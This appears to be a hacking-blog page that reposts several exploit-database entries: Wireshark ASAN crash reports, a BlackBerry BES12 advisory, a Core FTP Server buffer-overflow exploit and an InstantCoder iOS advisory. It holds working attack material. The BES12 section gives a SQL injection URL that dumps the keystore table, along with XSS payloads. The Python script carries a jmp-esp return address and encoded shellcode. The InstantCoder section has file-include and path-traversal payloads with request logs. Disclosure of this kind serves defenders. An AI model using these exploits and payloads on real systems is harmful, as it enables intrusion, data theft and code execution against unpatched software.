Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863229243

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://code.google.com/p/google-security-research/issues/detail?id=654

The following crash due to an out-of-bounds read from static memory can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==32475==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd688698b10 at pc 0x7fd685351320 bp 0x7ffd862371a0 sp 0x7ffd86237198
READ of size 4 at 0x7fd688698b10 thread T0
    #0 0x7fd68535131f in add_ff_vht_compressed_beamforming_report wireshark/epan/dissectors/packet-ieee80211.c:9143:8
    #1 0x7fd68534746f in add_ff_action_vht wireshark/epan/dissectors/packet-ieee80211.c:9199:16
    #2 0x7fd68533f813 in add_ff_action wireshark/epan/dissectors/packet-ieee80211.c:9426:12
    #3 0x7fd685324811 in add_fixed_field wireshark/epan/dissectors/packet-ieee80211.c:9566:14
    #4 0x7fd68536ebae in dissect_ieee80211_mgt wireshark/epan/dissectors/packet-ieee80211.c:16388:17
    #5 0x7fd685368cce in dissect_ieee80211_common wireshark/epan/dissectors/packet-ieee80211.c:18218:7
    #6 0x7fd685338dae in dissect_ieee80211 wireshark/epan/dissectors/packet-ieee80211.c:18375:10
    #7 0x7fd6842c7cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #8 0x7fd6842ba5ea in call_dissector_work wireshark/epan/packet.c:691:9
    #9 0x7fd6842b9dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #10 0x7fd684fc95f6 in dissect_frame wireshark/epan/dissectors/packet-frame.c:500:11
    #11 0x7fd6842c7cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #12 0x7fd6842ba5ea in call_dissector_work wireshark/epan/packet.c:691:9
    #13 0x7fd6842c42be in call_dissector_only wireshark/epan/packet.c:2662:8
    #14 0x7fd6842b5ccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
    #15 0x7fd6842b533b in dissect_record wireshark/epan/packet.c:501:3
    #16 0x7fd6842633c9 in epan_dissect_run_with_taps wireshark/epan/epan.c:373:2
    #17 0x5264eb in process_packet wireshark/tshark.c:3728:5
    #18 0x51f960 in load_cap_file wireshark/tshark.c:3484:11
    #19 0x515daf in main wireshark/tshark.c:2197:13

0x7fd688698b10 is located 48 bytes to the left of global variable '<string literal>' defined in 'packet-ieee80211.c:9115:70' (0x7fd688698b40) of size 30
  '<string literal>' is ascii string 'Average Signal to Noise Ratio'
0x7fd688698b10 is located 0 bytes to the right of global variable 'ns_arr' defined in 'packet-ieee80211.c:9091:20' (0x7fd688698ae0) of size 48
SUMMARY: AddressSanitizer: global-buffer-overflow wireshark/epan/dissectors/packet-ieee80211.c:9143:8 in add_ff_vht_compressed_beamforming_report
Shadow bytes around the buggy address:
  0x0ffb510cb110: f9 f9 f9 f9 00 00 00 00 00 00 04 f9 f9 f9 f9 f9
  0x0ffb510cb120: 00 00 00 07 f9 f9 f9 f9 00 00 07 f9 f9 f9 f9 f9
  0x0ffb510cb130: 00 00 06 f9 f9 f9 f9 f9 00 00 00 00 00 03 f9 f9
  0x0ffb510cb140: f9 f9 f9 f9 00 00 00 00 00 02 f9 f9 f9 f9 f9 f9
  0x0ffb510cb150: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 00 00 00 00
=>0x0ffb510cb160: 00 00[f9]f9 f9 f9 f9 f9 00 00 00 06 f9 f9 f9 f9
  0x0ffb510cb170: 00 00 00 05 f9 f9 f9 f9 00 00 00 00 00 00 00 01
  0x0ffb510cb180: f9 f9 f9 f9 00 00 04 f9 f9 f9 f9 f9 00 00 03 f9
  0x0ffb510cb190: f9 f9 f9 f9 00 00 00 07 f9 f9 f9 f9 00 00 00 00
  0x0ffb510cb1a0: 00 00 00 00 00 00 00 00 00 02 f9 f9 f9 f9 f9 f9
  0x0ffb510cb1b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==32475==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11818. Attached are three files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39483.zip
            
(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

BlackBerry Enterprise Service 12 (BES12) Self-Service
Affected versions: BES12 < 12.4

CVE: CVE-2016-1914 and CVE-2016-1915

PDF:
http://security-assessment.com/files/documents/advisory/Blackberry%20BES12%20Self-Service%20Multiple%20Vulnerabilities.pdf


+-----------+
|Description|
+-----------+

Blackberry BES12 is an enterprise mobile management solution and
contains a self-service web application available to mobile users. This
web application contains multiple vulnerabilities including
unauthenticated SQL
injection and reflected cross site scripting.

Limited access to an on-premise BES12 environment was provided during
the discovery of these vulnerabilities. The full impact of the
vulnerabilities in relation to compromising other portions of the BES12
solution, such as mobile devices, is unclear.


+------------+
|Exploitation|
+------------+

*SQL Injection*

The Java servlet com.rim.mdm.ui.server.ImageServlet is vulnerable to SQL
injection via the imageName parameter. This servlet is exposed at
multiple paths and is used to fetch an image from the database:

/mydevice/client/image
/admin/client/image
/myapps/client/image
/ssam/client/image
/all/client/image


This was discovered on a production BES12 on-premise deployment and the
injection vector allowed both UNION and stacked queries to be executed
on the Microsoft SQL server used by BES12. This allows full read/write
access to the database, and can potentially result in command execution
via xp_cmdshell depending on the database user configuration.

The following proof of concept demonstrates an injection payload which
will select the entire obj_keystore_entry table. The query will
serialise the entire table into an XML document which is returned in the
HTTP response as UTF-16 without the leading BOM (byte order mark)
causing most text editors to fail to display the response correctly.

https://<server>/mydevice/client/image?imageName=ui.cobranded.login.logo'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(SELECT+*+FROM+obj_keystore_entry+FOR+XML+PATH(''))+--

The technique above can be used to download any database table available
to the BES12 database user.

Notable database tables are:
* obj_user which contains BES12 user details.
* obj_user_authentication which contains authentication tokens.
* obj_user_device which based on column names, contains enrolment
tokens, enrolment secrets and device encryption keys.

It is unclear if this information is sufficient to decrypt a lost/stolen
BES12 mobile device.


*Reflected Cross Site Scripting*

Two areas of the self-service web application exist where user-supplied
input is reflected directly in web pages, allowing a malicious user to
conduct Cross Site Scripting (XSS) attacks against users of the
application. While the application uses the HttpOnly cookie flag for
session tokens, successful exploitation allows malicious JavaScript to
perform any action within the application that the targeted user is able
to. The administrative web application is typically hosted on the same
domain and may be attacked using these XSS vectors, although this is
BES12 deployment specific.

The table below details where Cross Site Scripting was detected and
which parameters are vulnerable:

https://<server>/mydevice/index.jsp?locale="><script>alert(1)</script>
https://<server>/mydevice/loggedOut.jsp?locale="><script>alert(1)</script>


+----------+
| Solution |
+----------+


Upgrade to BES12.4.


+-------------------+
|Disclosure Timeline|
+-------------------+


Initial disclosure to Blackberry – 19 Nov 2015
Disclosure receipt confirmed by Blackberry – 19 Nov 2015
Request for update from Blackberry – 7 Dec 2015
Vulnerabilities confirmed by Blackberry – 8 Dec 2015
Blackberry confirms fixes will be released as part of BES12.4 – 28 Jan 2016
BES12.4 released – 29 Jan 2016
Advisory released – 15 Feb 2016


+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+


Security-Assessment.com is a leading team of Information Security
consultants specialising in providing high quality Information Security
services to clients throughout the Asia Pacific region. Our clients
include some of the largest globally recognised companies in areas such
as finance, telecommunications, broadcasting, legal and government. Our
aim is to provide the very best independent advice and a high level of
technical expertise while creating long and lasting professional
relationships with our clients.
Security-Assessment.com is committed to security research and
development, and its team continues to identify and responsibly publish
vulnerabilities in public and private software vendor's products.
Members of the Security-Assessment.com R&D team are globally recognised
through their release of whitepapers and presentations related to new
security research.

For further information on this issue or any of our service offerings,
contact us:
Web www.security-assessment.com
Email info@security-assessment.com
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=656

The following crash due to an out-of-bounds read from static memory can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==5092==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f72db15e078 at pc 0x7f72cffb364f bp 0x7ffe98a8b690 sp 0x7ffe98a8b688
READ of size 4 at 0x7f72db15e078 thread T0
    #0 0x7f72cffb364e in dissect_oml_attrs wireshark/epan/dissectors/packet-gsm_abis_oml.c:1544:17
    #1 0x7f72cffb3286 in dissect_oml_fom wireshark/epan/dissectors/packet-gsm_abis_oml.c:1799:11
    #2 0x7f72cffb2cbe in dissect_abis_oml wireshark/epan/dissectors/packet-gsm_abis_oml.c:1861:13
    #3 0x7f72cf121cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #4 0x7f72cf1145ea in call_dissector_work wireshark/epan/packet.c:691:9
    #5 0x7f72cf11e2be in call_dissector_only wireshark/epan/packet.c:2662:8
    #6 0x7f72cf10fccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
    #7 0x7f72cf11e344 in call_dissector wireshark/epan/packet.c:2692:9
    #8 0x7f72cffc53b7 in dissect_ipa wireshark/epan/dissectors/packet-gsm_ipa.c:333:5
    #9 0x7f72cffc4dab in dissect_ipa_tcp wireshark/epan/dissectors/packet-gsm_ipa.c:376:2
    #10 0x7f72cf121cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #11 0x7f72cf1145ea in call_dissector_work wireshark/epan/packet.c:691:9
    #12 0x7f72cf113dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #13 0x7f72d10c59dd in decode_tcp_ports wireshark/epan/dissectors/packet-tcp.c:4615:9
    #14 0x7f72d10cb043 in process_tcp_payload wireshark/epan/dissectors/packet-tcp.c:4668:13
    #15 0x7f72d10c639c in dissect_tcp_payload wireshark/epan/dissectors/packet-tcp.c:4743:9
    #16 0x7f72d10db7a3 in dissect_tcp wireshark/epan/dissectors/packet-tcp.c:5575:13
    #17 0x7f72cf121cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #18 0x7f72cf1145ea in call_dissector_work wireshark/epan/packet.c:691:9
    #19 0x7f72cf113dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #20 0x7f72d022188b in ip_try_dissect wireshark/epan/dissectors/packet-ip.c:2001:7
    #21 0x7f72d022c2b9 in dissect_ip_v4 wireshark/epan/dissectors/packet-ip.c:2485:10
    #22 0x7f72cf121cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #23 0x7f72cf1145ea in call_dissector_work wireshark/epan/packet.c:691:9
    #24 0x7f72cf113dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #25 0x7f72cf114964 in dissector_try_uint wireshark/epan/packet.c:1174:9
    #26 0x7f72cfd3348d in dissect_ethertype wireshark/epan/dissectors/packet-ethertype.c:307:21
    #27 0x7f72cf121cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #28 0x7f72cf1145ea in call_dissector_work wireshark/epan/packet.c:691:9
    #29 0x7f72cf11e2be in call_dissector_only wireshark/epan/packet.c:2662:8
    #30 0x7f72cf10fccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
    #31 0x7f72cfd2f725 in dissect_eth_common wireshark/epan/dissectors/packet-eth.c:545:5
    #32 0x7f72cfd27f33 in dissect_eth_maybefcs wireshark/epan/dissectors/packet-eth.c:828:5
    #33 0x7f72cf121cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #34 0x7f72cf1145ea in call_dissector_work wireshark/epan/packet.c:691:9
    #35 0x7f72cf113dbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #36 0x7f72cfe235f6 in dissect_frame wireshark/epan/dissectors/packet-frame.c:500:11
    #37 0x7f72cf121cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #38 0x7f72cf1145ea in call_dissector_work wireshark/epan/packet.c:691:9
    #39 0x7f72cf11e2be in call_dissector_only wireshark/epan/packet.c:2662:8
    #40 0x7f72cf10fccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
    #41 0x7f72cf10f33b in dissect_record wireshark/epan/packet.c:501:3
    #42 0x7f72cf0bd3c9 in epan_dissect_run_with_taps wireshark/epan/epan.c:373:2
    #43 0x5264eb in process_packet wireshark/tshark.c:3728:5
    #44 0x51f960 in load_cap_file wireshark/tshark.c:3484:11
    #45 0x515daf in main wireshark/tshark.c:2197:13

0x7f72db15e078 is located 0 bytes to the right of global variable 'nm_att_tlvdef_base' defined in 'packet-gsm_abis_oml.c:1356:30' (0x7f72db15d880) of size 2040
SUMMARY: AddressSanitizer: global-buffer-overflow wireshark/epan/dissectors/packet-gsm_abis_oml.c:1544:17 in dissect_oml_attrs
Shadow bytes around the buggy address:
  0x0feedb623bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0feedb623bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0feedb623bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0feedb623be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0feedb623bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0feedb623c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f9]
  0x0feedb623c10: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0feedb623c20: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0feedb623c30: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0feedb623c40: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0feedb623c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5092==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11825. Attached are three files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39482.zip
            
#-*- coding: utf-8 -*-
#
# Exploit Title : Core FTP Server v1.2 - BufferOverflow POC
# Date: 2016-02-22
# Author: INSECT.B
#   Facebook : https://www.facebook.com/B.INSECT00
#	GitHub : binsect00
#   Blog : http://binsect00.tistory.com
# Vendor Homepage : http://www.coreftp.com/
# Software Link: 
# Version: 1.2
# Tested on: Windows7 Professional SP1 En x86 
# CVE : N/A
  
'''
[+] Type : Buffer overflow
[+] Detail : 
[-]  The vulnerability has the most typical Buffer overflow vulnerabilities. 
[-]  Insert string into 'Log filename(include path)' field that [setup] - [new] - [Logging options] - [More] 
[-]  'Log filename(include path)' field is no limit to the length and does not check the length
[-]  Insert string "A"*1500 and press Ok, OK
[-] crash info
(3bc.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000111 ecx=41414141 edx=0012a3d9 esi=00502438 edi=00000001
eip=41414141 esp=00129bf0 ebp=00129bf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
'''
import struct

junk = "A" * 312
EIP = struct.pack("<L",0x7795163b)  # USER32!gSharedInfo+0x181fb:
									# 7795163b ffe4            jmp     esp
nop = "\x90" * 10

#windows/exec calc.exe
#encode : alpha_mixed
sehll = (
"\x89\xe5\xdb\xde\xd9\x75\xf4\x59\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x59\x6c\x68\x68\x6f\x72\x67\x70\x77\x70\x47" +
"\x70\x75\x30\x6f\x79\x4a\x45\x44\x71\x49\x50\x30\x64\x6c" +
"\x4b\x56\x30\x34\x70\x4e\x6b\x61\x42\x56\x6c\x6c\x4b\x71" +
"\x42\x77\x64\x4c\x4b\x32\x52\x67\x58\x76\x6f\x6c\x77\x71" +
"\x5a\x31\x36\x65\x61\x49\x6f\x4e\x4c\x67\x4c\x53\x51\x61" +
"\x6c\x37\x72\x44\x6c\x47\x50\x4f\x31\x38\x4f\x54\x4d\x36" +
"\x61\x58\x47\x58\x62\x69\x62\x46\x32\x51\x47\x6c\x4b\x61" +
"\x42\x46\x70\x6c\x4b\x52\x6a\x75\x6c\x6e\x6b\x42\x6c\x34" +
"\x51\x30\x78\x79\x73\x72\x68\x65\x51\x7a\x71\x30\x51\x6c" +
"\x4b\x53\x69\x57\x50\x43\x31\x58\x53\x4c\x4b\x62\x69\x76" +
"\x78\x58\x63\x75\x6a\x37\x39\x4c\x4b\x75\x64\x6c\x4b\x36" +
"\x61\x4e\x36\x54\x71\x69\x6f\x6e\x4c\x5a\x61\x5a\x6f\x54" +
"\x4d\x43\x31\x58\x47\x45\x68\x59\x70\x32\x55\x4b\x46\x64" +
"\x43\x51\x6d\x58\x78\x45\x6b\x31\x6d\x55\x74\x50\x75\x48" +
"\x64\x42\x78\x6c\x4b\x32\x78\x77\x54\x67\x71\x38\x53\x63" +
"\x56\x4c\x4b\x66\x6c\x62\x6b\x6e\x6b\x52\x78\x35\x4c\x63" +
"\x31\x68\x53\x6e\x6b\x45\x54\x4c\x4b\x46\x61\x5a\x70\x6c" +
"\x49\x47\x34\x65\x74\x31\x34\x61\x4b\x31\x4b\x75\x31\x43" +
"\x69\x52\x7a\x36\x31\x6b\x4f\x59\x70\x73\x6f\x63\x6f\x32" +
"\x7a\x4c\x4b\x45\x42\x78\x6b\x6e\x6d\x43\x6d\x31\x7a\x63" +
"\x31\x6c\x4d\x6c\x45\x4e\x52\x75\x50\x77\x70\x47\x70\x50" +
"\x50\x63\x58\x66\x51\x4e\x6b\x62\x4f\x6b\x37\x6b\x4f\x7a" +
"\x75\x6f\x4b\x4c\x30\x68\x35\x6f\x52\x61\x46\x43\x58\x69" +
"\x36\x7a\x35\x4d\x6d\x4f\x6d\x69\x6f\x68\x55\x65\x6c\x56" +
"\x66\x33\x4c\x37\x7a\x4d\x50\x49\x6b\x79\x70\x51\x65\x37" +
"\x75\x4f\x4b\x31\x57\x75\x43\x61\x62\x70\x6f\x73\x5a\x73" +
"\x30\x46\x33\x39\x6f\x6a\x75\x70\x63\x45\x31\x42\x4c\x63" +
"\x53\x74\x6e\x71\x75\x31\x68\x73\x55\x57\x70\x41\x41"
)
payload = junk + EIP + nop + sehll

with open("CoreFTPServer_Ex.txt","wb") as f :
	f.write(payload)
            
Document Title:
===============
InstantCoder v1.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1738


Release Date:
=============
2016-02-22


Vulnerability Laboratory ID (VL-ID):
====================================
1738


Common Vulnerability Scoring System:
====================================
7


Product & Service Introduction:
===============================
You are one of the best developers in the world and you would like to code anytime, anywhere. CuteCoder makes it possible 
for your to code and debug web apps on your lovely iPhone and iPad.

(Copy of the Homepage: https://itunes.apple.com/ai/app/instantcoder/id1067517686 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple vulnerabilities in the official InstantCoder mobile iOS web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shumin Sun
Product: InstantCoder - iOS (Web-Application) 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official InstantCoder v1.0 iOS mobile web-application (wifi).
The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path 
commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `./toolkit/upload` module. Remote attackers are able to inject own 
files with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local 
file/path include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to 
inject the lfi payload by usage of the wifi interface or local file sync function. 

Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious 
attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. 

The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] ./toolkit/upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)



1.2
A directory traversal web vulnerability has been discovered in the official InstantCoder v1.0 iOS mobile web-application (wifi).
The vulnerability allows remote attackers to unauthorized access path variables to compromise the web-application or mobile device.

The directory traversal web vulnerability is located in the `path` value of the `listFiles` module. Remote attackers are able to 
manipulate the path variable GET or POST method request to compromise the application. The request method to inject the payload is 
POST and the request method to execute is GET. The attack vector of the vulnerability is located on the application-side. The path 
variable is not encoded or parsed. Thus allows an attacker to inject to unauthorized access the local system or app path.

The security risk of the path traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application (wifi ui) user account. 
Successful exploitation of the path traversal vulnerability results in mobile application compromise or compromise of connected device components.


Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] ./listFiles

Vulnerable Parameter(s):
				[+] path

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload
http://localhost:8080/toolkit/index.html./[LOCAL FILE INCLUDE VULNERABILITY!]


PoC: Vulnerable Source
javascript:changePath("./[LOCAL FILE INCLUDE VULNERABILITY!]");


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/toolkit/upload?path= Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[162] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Content-Length[819]
      Content-Type[multipart/form-data; boundary=---------------------------29343138867419]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------29343138867419
Content-Disposition: form-data; name="path"
-----------------------------29343138867419
Content-Disposition: form-data; name="upload1"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8080/toolkit/index.html Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[4995] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[4995]
      Date[Mon, 22 Feb 2016 08:33:04 GMT]


Reference(s):
http://localhost:8080/toolkit/upload
http://localhost:8080/toolkit/index.html



1.2
Thedirectory traversal web vulnerability can be exploited by remote attackers with wifi panel access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload
http://localhost:8080/listFiles?path=./.././../../../../../../../../../../


PoC: Vulnerable Source
<p></p>
<div id="list-file"><a href="javascript:changePath("/.././../../../../../../../../../../etc/%00");"> 
<div class="folder"><img><iframe></div></a></iframe></div></a></div>
</div>


Status: 200[OK]
POST http://localhost:8080/listFiles?path=/ Load Flags[LOAD_BACKGROUND  VALIDATE_ALWAYS LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[162] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[162]
      Date[Mon, 22 Feb 2016 08:09:34 GMT]
-
Status: 200[OK]
POST http://localhost:8080/listFiles?path=/.././../../../../../../../../../../etc/%00 Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2]
      Date[Mon, 22 Feb 2016 08:09:37 GMT]
-
Status: 200[OK]
POST http://localhost:8080/listFiles?path=./.././../../../../../../../../../../ Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[2] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://localhost:8080/toolkit/index.html]
      Connection[keep-alive]
      Content-Length[0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2]
      Date[Mon, 22 Feb 2016 08:09:45 GMT]


Reference(s):
http://localhost:8080/listFiles


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability in the upload POST method request is estimated as high. (CVSS 6.7)

1.2
The security risk of the directory traversal web vulnerability in the list path GET method request is estimated as high. (CVSS 7.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
